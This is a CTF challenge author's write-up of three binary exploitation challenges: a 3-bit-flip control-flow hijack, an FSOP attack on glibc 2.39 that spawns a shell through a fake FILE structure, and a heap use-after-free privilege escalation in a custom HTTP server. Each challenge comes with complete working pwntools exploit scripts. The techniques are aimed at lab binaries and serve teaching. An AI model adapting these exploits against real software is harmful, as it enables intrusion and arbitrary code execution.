Summary
This post covers three of the pwn challenges I authored for the Securinets "Darkest Hour" CTF 2026. Each one is a standalone challenge, but they share the same server environment (Ubuntu 24.04, glibc 2.39).
bit_flips
"can you do it in just 3 bit flips?"
The binary gives you exactly 3 arbitrary bit flips anywhere in memory. There's a dead function that reads and executes commands from an open file. The goal is to hijack control flow into it, then redirect the file descriptor it reads from to stdin so you control which commands run.
Analysis
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: Yes
Full protections. Full RELRO rules out GOT overwrite. PIE means no fixed addresses.
Source Overview
uint32_t lock = 0xffffffff;
FILE* f;
void setup() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
f = fopen("./commands", "r");
}
void bit_flip() {
if (lock != 0xffffffff) {
exit(-1);
}
unsigned long long address = 0x0;
int bit = 0x0;
printf("> ");
scanf("%llx", &address);
scanf("%d", &bit);
if (bit > 7 || bit < 0) {
puts("Go back to school");
return;
}
char byte = *(char*)address;
byte = (1 << bit) ^ byte;
*(char*)address = byte;
}
void vuln() {
unsigned long long address = 0x0;
printf("&main = %p\n", &main);
printf("&system = %p\n", &system);
printf("&address = %p\n", &address);
printf("sbrk(NULL) = %p\n", sbrk(0));
for (int i = 0; i < 3; i++) {
bit_flip();
}
lock = 0x0;
}
int main() {
setup();
puts("I'm feeling super generous today");
vuln();
return 0;
}
void cmd() {
char buf[24];
while (fgets(buf, sizeof(buf), f)) {
buf[strcspn(buf, "\n")] = '\0';
if (buf[0] == '\0') continue;
int status = system(buf);
if (status == -1) { perror("system"); exit(-1); }
}
}
The binary opens a file called commands and stores it in the global FILE* f. The cmd() function reads lines from f and passes each one to system(). It is never called.
vuln() prints four addresses:
I'm feeling super generous today
&main = 0x55ac78ca8405
&system = 0x7f2364900b00
&address = 0x7ffe48effa90
sbrk(NULL) = 0x55ac7cda8000
Then it gives three bit flips through bit_flip(), which:
- requires
lock == 0xffffffff(enforced once per call, lock resets to 0 after the loop) - accepts any 64-bit address and a bit index 0-7
- reads one byte from that address, XORs the chosen bit, writes it back
Finding the Bugs
Dead Code: cmd()
cmd() is the pseudo-win function. It reads line by line from f (the opened commands file) and shells out each line. A useful primitive, but only reachable if we redirect control flow to it.
bit_flip() is Unconstrained
There is no bounds check on the address. We can flip any bit anywhere in the process memory: stack, heap, libc, or the binary itself.
The commands File Uses fd 3
When setup() calls fopen("./commands", "r"), the OS assigns it the next available file descriptor. Since stdin (0), stdout (1), and stderr (2) are already open, commands gets fd 3.
The _fileno field in glibc's FILE struct sits at offset 0x70. If we change f->_fileno from 3 to 0, then cmd()'s fgets(buf, sizeof(buf), f) reads from stdin instead, giving us full control over what system() executes.
Exploitation
Strategy
3 flips. 3 goals:
- Flip 1: Redirect
vuln()'s saved return address to land insidecmd() - Flip 2: Flip bit 0 of
f->_fileno(3 → 2) - Flip 3: Flip bit 1 of
f->_fileno(2 → 0)
After those three flips, when vuln() returns it executes cmd(), which reads commands from stdin.
Step 1: Locating the Saved Return Address
vuln() leaks &address, a local unsigned long long on its own stack frame. From GDB we can inspect the frame:
pwndbg> info frame
Stack level 0, frame at 0x7ffe48effab0:
rip = 0x... in vuln; saved rip = 0x55ac78ca8422
called by frame at 0x7ffe48effab8
pwndbg> x/4gx &address
0x7ffe48effa90: 0x0000000000000000 0x7da3c9f1abe40820 <- canary
0x7ffe48effaa0: 0x00007ffe48effab0 0x000055ac78ca8422 <- saved rip
saved_rip is at &address + 0x18. Its value is main + 0x1d (the instruction immediately after the call vuln in main), PIE offset 0x1422.
Step 2: Finding the 1-Bit Distance to cmd()
Opening the stripped binary in IDA or inspecting the disassembly:
; main() (PIE offset 0x1405):
1405: 55 push rbp
1406: 48 89 e5 mov rbp, rsp
...
141d: e8 0d ff ff ff call 132f ; call vuln()
1422: b8 00 00 00 00 mov eax, 0 ; <-- saved rip points here (PIE 0x1422)
1427: 5d pop rbp
1428: c3 ret
; cmd() (PIE offset 0x1429):
1429: 55 push rbp
142a: 48 89 e5 mov rbp, rsp ; <-- we land here after flip
142d: 48 83 ec 30 sub rsp, 0x30
...
saved_rip PIE offset: 0x1422 (binary: ...0100010)
flip bit 3 (XOR 0x08): 0x142a (binary: ...0101010)
cmd() entry: 0x142a ✓
They differ by exactly 1 bit. One flip redirects vuln()'s return directly into the second instruction of cmd(). Skipping push rbp is fine since the stack is already in the right state from main's call frame setup.
Step 3: Locating f->_fileno
The FILE* f is stored in glibc's heap. vuln() leaks sbrk(NULL), which is the current program break (top of the heap). In GDB:
pwndbg> p f
$1 = 0x55ac7cda7f240 <- address of the FILE struct
pwndbg> p/x (uint64_t)sbrk(0) - (uint64_t)f
$2 = 0x20d60 <- fixed offset from heap brk to the FILE struct
pwndbg> p/d f->_fileno
$3 = 3 <- fd 3 = the "commands" file
pwndbg> x/b (char*)f + 0x70
0x...: 0x03 <- _fileno byte = 3 (00000011b)
So f = sbrk(NULL) - 0x20d60 and f->_fileno is at f + 0x70.
To change fd 3 (binary 0b11) to fd 0 (binary 0b00):
flip bit 0: 0b11 -> 0b10 (3 -> 2)
flip bit 1: 0b10 -> 0b00 (2 -> 0)
Two flips consumed. Combined with the control flow redirect, that's exactly 3.
Step 4: Shell
After the three flips, vuln() returns into cmd(). cmd() calls fgets(buf, 24, f), but f->_fileno is now 0, so it reads from stdin. Every line we send is passed straight to system().
Exploit Code
from pwn import *
context.binary = elf = ELF('./main')
if args.REMOTE:
io = remote('localhost', 1000)
else:
io = process()
io.recvuntil(b'&address = ')
saved_rip = int(io.recvline().strip(), 16) + 0x18
io.recvuntil(b'sbrk(NULL) = ')
flag_file = int(io.recvline().strip(), 16) - 0x20d60
log.success(f'saved_rip @ {saved_rip:#x}')
log.success(f'f (FILE*) @ {flag_file:#x}')
def bit_flip(address, bit):
io.recvuntil(b'> ')
io.sendline(hex(address).encode())
io.sendline(str(bit).encode())
# Flip 1: redirect saved_rip to cmd() (bit 3: 0x1422 -> 0x142a)
bit_flip(saved_rip, 3)
# Flip 2+3: change f->_fileno from 3 (0b11) to 0 (0b00)
bit_flip(flag_file + 0x70, 0)
bit_flip(flag_file + 0x70, 1)
io.interactive()
Result
$ python3 exploit.py
[+] saved_rip @ 0x7ffc4eaec8a8
[+] f (FILE*) @ 0x56234b3f12a0
[*] Switching to interactive mode
cat flag
Securinets{3_b1t_fl1ps_15_4ll_y0u_n33d}
Flag: Securinets{3_b1t_fl1ps_15_4ll_y0u_n33d}
canaries
It's a custom C program with a home-rolled canary mechanism and a GDB-inspired interface (arbitrary read + constrained write). The trick is that overflowing buf with gets() clobbers the custom canary, fires exit(0), and we ride that exit path straight into a shell via FSOP.
exit(). The _IO_2_1_stderr_->_chain method used here is just one approach. You can also overwrite _IO_list_all directly, or target any other FILE already present in the list. The constrained write (any libc address below canary) gives you plenty of options.Analysis
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: Yes
Full protections. PIE + Full RELRO means no GOT overwrite. There's a custom in-program canary on top of the compiler canary.
The Setup
char canary_global[24];
int generate_canary(char *canary) {
FILE* f = fopen("/dev/urandom", "rb");
fread(canary, 1, sizeof(canary), f);
strncpy(canary_global, canary, sizeof(canary));
printf("> p &canary\n0x%016lx\n\n", (uint64_t)canary);
...
}
int main() {
char canary[24];
char buf[8];
setup();
prompt();
generate_canary(canary);
...
}
generate_canary fills canary[0..23] (actually it doesn't xD but let's not mention how dumb I was writing that piece of code) with random bytes and mirrors them into canary_global. The binary then leaks the stack address of canary[]:
> p &canary
0x00007ffd9a3c4260
Primitives
After generate_canary, the binary gives us GDB-like operations:
// Arbitrary read
printf("> x/gx ");
scanf("%lx", &address);
printf("0x%016lx: 0x%016lx\n\n", address, *(uint64_t*)address);
// Constrained arbitrary write
printf("> set {uint64_t}");
scanf("%lx = %lx", &address, &value);
if (address > (uint64_t)canary) {
puts("*** not allowed ***");
exit(0);
}
*(uint64_t*)address = value;
- Arbitrary read: any address
- Constrained write: only to addresses ≤
canary(stack addresses are blocked, but heap, libc, and BSS are all fair game)
From the leaked canary address we can compute:
buf_addr = canary_addr - 0x8rbp_addr = canary_addr + 0x20(compiler alignscanary[24]to 0x20 bytes, 8 bytes pad)ret_addr_loc = canary_addr + 0x28
Leaking libc
We use the arbitrary read to dereference the return address on the stack:
pwndbg> x/gx 0x7ffd9a3c4288
0x7ffd9a3c4288: 0x00007f9c3a827675
That's __libc_start_call_main + N. Subtracting the offset gives us libc base.
pwndbg> p/x 0x7f9c3a827675 - 0x27675
$1 = 0x7f9c3a800000 -> libc base
The Vulnerability
After the I/O primitives are finished, we reach the following:
puts("{ overflow me }");
gets(buf); // unbounded, smashes canary[] on the stack
for (int i = 0; i < sizeof(canary); i++) {
if (canary[i] != canary_global[i]) {
puts("*** stack smashing detected ***");
exit(0);
}
}
gets(buf) with a long payload overwrites canary[] on the stack. The comparison fires and exit(0) is called, which is exactly what we want.
Exploitation
Strategy
We have one write and it can't touch the stack. There's no way to save the canary: gets() will clobber it and exit(0) will run. But exit() calls _IO_flush_all_lockp, which walks the _IO_list_all linked list and calls _IO_OVERFLOW on each FILE with pending output.
If we insert a fake _IO_FILE_plus into that list, we control what gets called. This is classic FSOP (File Stream Oriented Programming).
The constrained write lets us write to any libc address. _IO_2_1_stderr_->_chain (at stderr + 0x68) is a pointer to the next FILE in the I/O list. Writing buf_addr there inserts our fake FILE into the chain.
The overflow from gets(buf) lets us plant a fully crafted fake FILE structure starting at buf_addr.
FSOP via _IO_wfile_jumps
glibc 2.24+ validates vtable pointers to be within __libc_IO_vtables. _IO_wfile_jumps is a valid vtable inside that section. Using it as the FILE's vtable:
When _IO_flush_all_lockp encounters our fake FILE:
- Checks
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base. This is satisfied with our values - Calls
_IO_OVERFLOW(fp, EOF)→_IO_wfile_overflow _IO_wfile_overflowcalls_IO_wdoallocbuf(fp)_IO_wdoallocbufseesfp->_wide_data->_IO_buf_base == NULL→ callsfp->_wide_data->_wide_vtable->__doallocate(fp)- We set
wide_vtable[0x68/8] = system, so this callssystem(fp) fp->_flags = "sh "→system("sh ")
The fake FILE layout in memory (starting at buf_addr):
pwndbg> x/40gx buf_addr
buf_addr+0x00: 0x0000000020687320 # _flags = "sh \0"
buf_addr+0x08: 0x0000000000000000 # _IO_read_ptr..
...
buf_addr+0x20: 0x0000000000000000 # _IO_write_base = 0
buf_addr+0x28: 0x00007ffd9a3c4280 # _IO_write_ptr = rbp_addr (> write_base)
...
buf_addr+0x60: 0x00007ffd9a3c4270 # _lock (= buf_addr + 0x10, self-ref)
...
buf_addr+0x88: 0x00007f9c3aa27b30 # _wide_data -> fake_wide_data (buf_addr + 0xe0)
...
buf_addr+0xa8: 0xffffffff # _mode = -1 (< 0 -> wide path)
buf_addr+0xb8: 0x00007f9c3aa08228 # vtable = _IO_wfile_jumps
buf_addr+0xe0: # _wide_data struct (all zero)
buf_addr+0x1c8: 0x00007ffd9a3c4388 # wide_data->_wide_vtable -> fake_wide_vtable
buf_addr+0x230: 0x00007f9c3a853b00 # fake_wide_vtable[0x68/8] = system
When exit(0) is called by the "stack smashing detected" path:
pwndbg> bt
#0 system ("sh ")
#1 _IO_wdoallocbuf (fp=0x7ffd9a3c4258)
#2 _IO_wfile_overflow
#3 _IO_flush_all_lockp
#4 __run_exit_handlers
#5 exit (status=0)
#6 main ()
Exploit Code
from pwn import*
context.binary = elf = ELF('./main')
libc = ELF('./libc.so.6')
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript="b *main+153\nc")
elif args.REMOTE:
return remote('localhost', 3002)
else:
return process([elf.path])
io = start()
# Binary prints address of canary[] in main's frame
io.recvuntil(b'0x')
canary_addr = int(io.recvline().strip(), 16)
buf_addr = canary_addr - 0x8
rbp_addr = canary_addr + 0x20
ret_addr_loc = canary_addr + 0x28
# Arbitrary read → leak return address → libc base
io.recvuntil(b'x/gx')
io.sendline(f'{ret_addr_loc:x}'.encode())
io.recvuntil(b': 0x')
ret_addr = int(io.recvline().strip(), 16)
libc.address = ret_addr - 0x27675 # offset within __libc_start_call_main
log.success(f'canary @ {canary_addr:#x}')
log.success(f'libc @ {libc.address:#x}')
fake_file_addr = buf_addr
fake_wide_data_addr = fake_file_addr + 0xe0
fake_wide_vtable_addr = fake_file_addr + 0x1c8
lock_addr = fake_file_addr + 0x10
# Arbitrary write: stderr->_chain = fake_file_addr
# libc addr < canary addr → passes the guard
stderr_chain = libc.sym['_IO_2_1_stderr_'] + 0x68
io.recvuntil(b'set {uint64_t}')
io.sendline(f'{stderr_chain:#x} = {fake_file_addr:#x}'.encode())
io.recvuntil(b'overflow')
# Fake _IO_FILE_plus: FSOP via _IO_wfile_jumps
# exit(0) -> _IO_flush_all_lockp -> _IO_wfile_overflow ->
# _IO_wdoallocbuf -> wide_vtable[0x68/8](fp) -> system("sh ")
payload = p32(0x20687320) + p32(0) # _flags = "sh \0"
payload += p64(0) * 3 # _IO_read_ptr/_end/_base
payload += p64(0) # _IO_write_base
payload += p64(rbp_addr) # _IO_write_ptr > write_base
payload += p64(0) * 5
payload += p64(0) * 2
payload += p64(0)
payload += p32(0) + p32(0)
payload += p64(0)
payload += p64(0) # _chain
payload += p64(lock_addr) # _lock
payload += p64(0) * 2
payload += p64(fake_wide_data_addr) # _wide_data
payload += p64(0) * 3
payload += p32(0xFFFFFFFF) # _mode < 0 -> wide path
payload += b'\x00' * 20
payload += p64(libc.sym['_IO_wfile_jumps']) # vtable (valid, passes check)
payload += b'\x00' * 0xe0 # wide_data fields
payload += p64(fake_wide_vtable_addr) # wide_data->_wide_vtable
payload += b'\x00' * 0x68
payload += p64(libc.sym['system']) # wide_vtable[0x68/8]
io.sendline(payload)
io.interactive()
Result
$ python3 exploit.py
[+] canary @ 0x7ffd9a3c4260
[+] libc @ 0x7f9c3a800000
[*] Switching to interactive mode
*** stack smashing detected ***
$ cat flag
Securinets{r1p_0v3rwr173_15_n07_4lw4y5_7h3_4n5w3r_s0m3t1m35_w3_f50p_%!!?!@_@==}
Flag: Securinets{r1p_0v3rwr173_15_n07_4lw4y5_7h3_4n5w3r_s0m3t1m35_w3_f50p_%!!?!@_@==}
http-1.0
It's a custom HTTP/1.0 web server with user authentication, where the goal is to escalate privileges to admin through heap exploitation on glibc 2.39.
Analysis
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: Yes
64-bit PIE ELF, stripped, dynamically linked, Ubuntu 24.04 (glibc 2.39). Since this is a web server that only processes HTTP requests, stack canary and NX are irrelevant. Everything happens on the heap.
Opening it in IDA, we see the following in main():
int main() {
setup();
// Initialize users
add_user("admin", "[REDACTED]", "admin");
add_user("guest", "guest", "user");
// Create web server
WebServer *server = webserver_create(5000);
webserver_set_static_folder(server, "./app");
// Register routes
webserver_add_route(server, "GET", "/", route_index);
webserver_add_route(server, "GET", "/api/me", route_api_me);
webserver_add_route(server, "GET", "/login", route_login_get);
webserver_add_route(server, "POST", "/login", route_login_post);
webserver_add_route(server, "GET", "/register", route_register_get);
webserver_add_route(server, "POST", "/register", route_register_post);
webserver_add_route(server, "POST", "/api/password", route_password_post);
webserver_add_route(server, "POST", "/api/delete_account", route_delete_account);
webserver_add_route(server, "GET", "/logout", route_logout);
webserver_run(server);
webserver_destroy(server);
return 0;
}
An admin user is created at startup with a long random password that we can't know. There's also a guest account.
Data Structures
From add_user() we can recover the User struct:
typedef struct User {
char username[50];
char privilege[10];
char password[50];
} __attribute__((packed)) User;
The disassembly confirms the offsets and allocation size:
; add_user
1b97: bf 6e 00 00 00 mov edi, 0x6e ; malloc(110) → chunk size 0x80
1bac: be 32 00 00 00 mov esi, 0x32 ; snprintf(user->username, 50, ...)
1be3: 49 8d 7c 24 32 lea rdi, [r12+0x32] ; user + 0x32 = privilege
1bc8: 49 8d 7c 24 3c lea rdi, [r12+0x3c] ; user + 0x3c = password
User struct (110 bytes, malloc(0x6e) → chunk 0x80):
+0x00 username[50]
+0x32 privilege[10]
+0x3c password[50]
From create_session():
typedef struct Session {
char token[TOKEN_LENGTH + 1]; // 65 bytes
struct User *user; // 8 bytes
time_t created_at; // 8 bytes
} Session;
; create_session
1f74: bf 58 00 00 00 mov edi, 0x58 ; malloc(88) → chunk size 0x60
Session struct (88 bytes, malloc(0x58) → chunk 0x60):
+0x00 token[64]
+0x40 null terminator
+0x48 user_ptr (8 bytes)
+0x50 timestamp (8 bytes)
The Flag
The flag is returned in /api/me when strcmp(u->privilege, "admin") == 0:
void route_api_me(Request *req, Response *res) {
User *u = get_user_from_session(session);
if (u && strcmp(u->privilege, "admin") == 0) {
snprintf(json, sizeof(json),
"{\"username\": \"%s\", \"privilege\": \"admin\", \"time\": \"%s\", \"flag\": \"Securinets{REDACTED}\"}",
u->username, time_str);
}
}
Finding the Bugs
Heap Buffer Overflow in /api/password
The password change handler has a sscanf overflow:
void route_password_post(Request *req, Response *res) {
User *u = get_user_from_session(session);
if (req->body) {
if (sscanf(req->body, "password=%65[^&]", u->password) > 0) {
response_send_redirect(res, "/");
return;
}
}
}
%65[^&] reads up to 65 characters into u->password which is only 50 bytes. With the null terminator, that's 66 bytes into a 50-byte field. This results in a 16-byte overflow past the end of the User struct, right into the next heap chunk's metadata (prev_size + size).
2431: 48 8d 50 3c lea rdx, [rax+0x3c] ; dest = user + 0x3c (password)
2435: 48 8d 35 e1 1c 00 00 lea rsi, [rip+0x1ce1] ; "password=%65[^&]"
243e: e8 3d ec ff ff call __isoc23_sscanf
Use-After-Free in /api/delete_account
When a user is deleted, the session is NOT invalidated:
void route_delete_account(Request *req, Response *res) {
User *u = get_user_from_session(session);
delete_user_by_name(u->username);
// session still holds a dangling pointer to the freed User!
response_send_redirect_with_cookie(res, "/login", "session=; Max-Age=0");
}
void delete_user_by_name(const char *username) {
for (int i = 0; i < MAX_USERS; i++) {
if (users[i] != NULL && strcmp(users[i]->username, username) == 0) {
free(users[i]);
users[i] = NULL;
break;
}
}
}
The session's user_ptr still points to the freed chunk. This gives us:
- UAF read:
GET /api/mereads freed memory (tcache fd pointers) through the username field - UAF write:
POST /api/passwordwrites to the freed chunk viasscanfatuser_ptr + 0x3c
Exploitation
Strategy
We can't log in as admin because the password is unknown. Instead, we'll abuse the heap to fake admin privileges:
- Register a user
patrickwith password"admin" - Use UAF to leak a heap address
- Overflow to corrupt a chunk size
- Get a Session struct allocated over a freed User-sized chunk
- UAF write to overwrite the session's
user_ptrso the privilege check reads"admin"frompatrick's password field
Heap Layout
We register four users: spongebob, patrick, squidward, mr_krabs. Since each registration only does malloc(0x6e) → 0x80 chunk, they get allocated contiguously:
pwndbg> x/2gx 0x55d01d0108b0 # spongebob
0x55d01d0108b0: 0x0000000000000000 0x0000000000000081
pwndbg> x/2gx 0x55d01d010930 # patrick
0x55d01d010930: 0x0000000000000000 0x0000000000000081
pwndbg> x/2gx 0x55d01d0109b0 # squidward
0x55d01d0109b0: 0x0000000000000000 0x0000000000000081
pwndbg> x/2gx 0x55d01d010a30 # mr_krabs
0x55d01d010a30: 0x0000000000000000 0x0000000000000081
The patrick user has "admin" in its password field:
pwndbg> x/s 0x55d01d010940
0x55d01d010940: "patrick"
pwndbg> x/s 0x55d01d010940+0x32
0x55d01d010972: "user"
pwndbg> x/s 0x55d01d010940+0x3c
0x55d01d01097c: "admin"
Step 1: Heap Leak via Safe-Linking Bypass
glibc 2.39 uses safe-linking in tcache: when a chunk is freed, the fd pointer stored is (chunk_addr >> 12) ^ next. When a chunk is the first entry in its bin, next = NULL, so fd = chunk_addr >> 12.
We delete spongebob and use its still-alive session to read the freed chunk's fd:
pwndbg> x/4gx 0x55d01d0108b0
0x55d01d0108b0: 0x0000000000000000 0x0000000000000081
0x55d01d0108c0: 0x000000055d01d010 0x1a06e80d09196192
^ ^
safe-linked fd tcache key
The fd value 0x55d01d010 gives us fd << 12 = 0x55d01d010000, a page-aligned heap address.
Step 2: Computing the Target Offset
The goal is to make a session's user_ptr point to patrick + 0x0a. If user_ptr = patrick + 0x0a, then user_ptr + 0x32 = patrick + 0x3c, which is exactly where "admin" (the password) lives.
pwndbg> p/x 0x55d01d010940 + 0xa - (0x55d01d010 << 12)
$1 = 0x94a
The offset 0x94a is deterministic.
Step 3: Chunk Size Corruption
The overflow from squidward's password field overwrites mr_krabs's chunk header. We change mr_krabs's size from 0x81 to 0x61:
Before:
pwndbg> x/2gx 0x55d01d010a30
0x55d01d010a30: 0x0000000000000000 0x0000000000000081
After overflow:
pwndbg> x/2gx 0x55d01d010a30
0x55d01d010a30: 0x5858585858585858 0x0000000000000061
Now when mr_krabs is freed, it goes into tcache[0x60] instead of tcache[0x80]. The next malloc(0x58) (Session) reclaims it.
Step 4: UAF Write → Overwriting user_ptr
We register gary and login. Its Session reclaims mr_krabs's chunk:
pwndbg> x/12gx 0x55d01d010a40
0x55d01d010a40: 0x4373483777415872 0x4370797170645663 <- token
...
0x55d01d010a88: 0x000055d01d010b40 <- user_ptr
Now use mr_krabs's UAF cookie to call POST /api/password. The sscanf writes 4 bytes "AAAA" + 8 bytes "BBBBBBBB" + 6 bytes target_ptr starting at user_ptr + 0x3c (which is 0x55d01d010a40 + 0x3c):
pwndbg> x/gx 0x55d01d010a88
0x55d01d010a88: 0x000055d01d01094a <- session->user_ptr overwritten!
Step 5: Binary Cookie
The overflow corrupts the session token's null terminator. Now strcmp reads the token past 64 bytes, including the binary target_ptr. We use raw TCP sockets to send binary cookie data.
Exploit Code
from pwn import*
import socket, struct, re
HOST, PORT = 'localhost', 5000
OFFSET = 0x94a # (fd << 12) + OFFSET = patrick_data + 0x0a
def http_raw(raw_req):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((HOST, PORT))
s.sendall(raw_req)
resp = b""
while True:
try:
d = s.recv(4096)
if not d: break
resp += d
except: break
s.close()
return resp
def http_req(method, path, headers=None, body=None):
req = f"{method} {path} HTTP/1.0\r\nHost: {HOST}:{PORT}\r\n"
if headers:
for k, v in headers.items():
req += f"{k}: {v}\r\n"
if body is not None:
bdata = body if isinstance(body, bytes) else body.encode()
req += f"Content-Length: {len(bdata)}\r\n"
req += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
return http_raw(req.encode() + bdata)
req += "\r\n"
return http_raw(req.encode())
def get_cookie(resp):
m = re.search(rb'Set-Cookie:\s*session=([^;\r\n]+)', resp)
return m.group(1).decode() if m else None
def get_body(resp):
idx = resp.find(b'\r\n\r\n')
return resp[idx+4:] if idx >= 0 else b''
def extract_username(body):
s = body.find(b'"username": "')
if s < 0: return b''
s += len(b'"username": "')
e = body.find(b'", "privilege"', s)
return body[s:e] if e >= 0 else b''
# Register all users
users = [("spongebob","sb"),("patrick","admin"),("squidward","sq"),("mr_krabs","mk")]
for name, pw in users:
http_req("POST", "/register", body=f"username={name}&password={pw}")
# Login
cookies = {}
for name, pw in users:
r = http_req("POST", "/login", body=f"username={name}&password={pw}")
cookies[name] = get_cookie(r)
# Heap leak via UAF
http_req("POST", "/api/delete_account",
headers={"Cookie": f"session={cookies['spongebob']}"})
b1 = get_body(http_req("GET", "/api/me",
headers={"Cookie": f"session={cookies['spongebob']}"}))
fd = u64(extract_username(b1).ljust(8, b'\x00')[:8])
heap_page = fd << 12
target_ptr = heap_page + OFFSET
target_bytes = p64(target_ptr)[:6]
log.success("heap_page: " + hex(heap_page))
log.success("target_ptr: " + hex(target_ptr))
# Overflow squidward → corrupt mr_krabs chunk size to 0x61
http_req("POST", "/api/password",
headers={"Cookie": f"session={cookies['squidward']}"},
body=b'password=' + b'X'*60 + b'\x61')
# Delete mr_krabs → tcache[0x60]
http_req("POST", "/api/delete_account",
headers={"Cookie": f"session={cookies['mr_krabs']}"})
# New session reclaims mr_krabs's chunk
http_req("POST", "/register", body="username=gary&password=gp")
r = http_req("POST", "/login", body="username=gary&password=gp")
cookie_X = get_cookie(r)
# UAF write → overwrite session user_ptr
poison = b'AAAA' + b'BBBBBBBB' + target_bytes
http_req("POST", "/api/password",
headers={"Cookie": f"session={cookies['mr_krabs']}"},
body=b'password=' + poison)
# Binary cookie → flag
raw_cookie = cookie_X[:60].encode() + b'AAAA' + b'BBBBBBBB' + target_bytes
req = b"GET /api/me HTTP/1.0\r\n"
req += f"Host: {HOST}:{PORT}\r\n".encode()
req += b"Cookie: session=" + raw_cookie + b"\r\n\r\n"
resp = http_raw(req)
print(get_body(resp).decode(errors='replace'))
Result
$ python3 exploit.py
[+] heap_page: 0x55d01d010000
[+] target_ptr: 0x55d01d01094a
{"username": "", "privilege": "admin", "time": "Sat Feb 14 06:19:20 2026",
"flag": "Securinets{web_pwn_flag}"}
Flag: Securinets{web_pwn_flag}